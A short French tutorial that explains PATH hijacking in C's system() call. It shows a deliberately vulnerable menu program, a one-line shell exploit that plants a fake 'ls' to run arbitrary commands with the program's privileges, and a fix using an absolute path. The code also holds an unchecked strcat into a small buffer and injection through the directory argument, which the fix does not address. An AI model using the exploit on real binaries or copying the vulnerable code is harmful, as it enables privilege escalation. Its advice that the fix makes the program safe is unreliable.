En langage C, le fonction system(), permet d'appeler un programme extérieur. La faille de system() consiste à détourner l'argument passé par la fonction system(). Le but étant d'être capable d'exécuter une commande arbitraire avec les droits de l'exécutable.
0x01. PROGRAMME VULNERABLE
// Source de exploit.c void list() { char rep[10]; char cmd[20]; printf("\\nDossier à lister: "); scanf("%s",rep); // Le programme est vulnerable car 'ls' n'est pas appelé par un chemin absolu strcpy(cmd,"ls "); strcat(cmd,rep); system(cmd); printf("\\n\\n"); } int main() { char rep; printf("\\n=== Menu ===\\n"); printf("[d] afficher la date\\n"); printf("[l] lister un dossier\\n"); printf("quitter le programme\\n"); scanf("%c",&rep); switch(rep) { // Le programme est vulnerable car 'ls' n'est pas appelé par un chemin absolu case 'd': system("/bin/date"); break; case 'l': list(); break; case 'q': return(0); break; } printf("\\n\\n"); return(1); }
0x02. EXPLOIT
printf "Commande : " ; read cmd ; echo "$cmd" > ls ; chmod +x ls ; PATH=. ./vuln
0x03. CORRECTIF
// Le programme n'est plus vulnerable car 'ls' est appelé par un chemin absolu strcpy(cmd,"/bin/ls ");
=> Écrit par : Nicolas, le 26 juillet 2015
2025499